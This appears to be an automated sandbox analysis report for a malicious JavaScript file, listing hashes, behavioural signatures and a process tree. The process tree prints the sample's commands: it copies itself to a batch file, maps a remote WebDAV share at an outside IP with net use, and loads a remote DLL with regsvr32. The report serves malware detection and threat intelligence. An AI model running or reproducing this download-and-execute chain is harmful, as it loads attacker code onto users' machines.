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Analysis

  • max time kernel
    94s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 02:14

General

  • Target

    c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec.js

  • Size

    5KB

  • MD5

    44767fb1f3ad3064791b10ad7eb09b47

  • SHA1

    3e502e4d877970a6b80c88d168ad314d7fbfc525

  • SHA256

    c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec

  • SHA512

    5657d875db17f67decf9c63f2e07054dd5ba41a1844ed3318afa64352ff7dfb40753ce98e33a1fa535ab2d533f77f38af0282b8e701962d975244368577abb83

  • SSDEEP

    96:zB/FKshkndFToddKEEEKoNw7ddKEEEsR2TEIDeEdhqx5nh7esM0nklM0S:ZAshknfoddAhdduRqEcewhqPnh7I0nkc

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1780
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec.js" "C:\Users\Admin\\opikec.bat" && "C:\Users\Admin\\opikec.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3948
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3180
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\572.dll
          3⤵
            PID:4512

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\opikec.bat

        Filesize

        5KB

        MD5

        44767fb1f3ad3064791b10ad7eb09b47

        SHA1

        3e502e4d877970a6b80c88d168ad314d7fbfc525

        SHA256

        c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec

        SHA512

        5657d875db17f67decf9c63f2e07054dd5ba41a1844ed3318afa64352ff7dfb40753ce98e33a1fa535ab2d533f77f38af0282b8e701962d975244368577abb83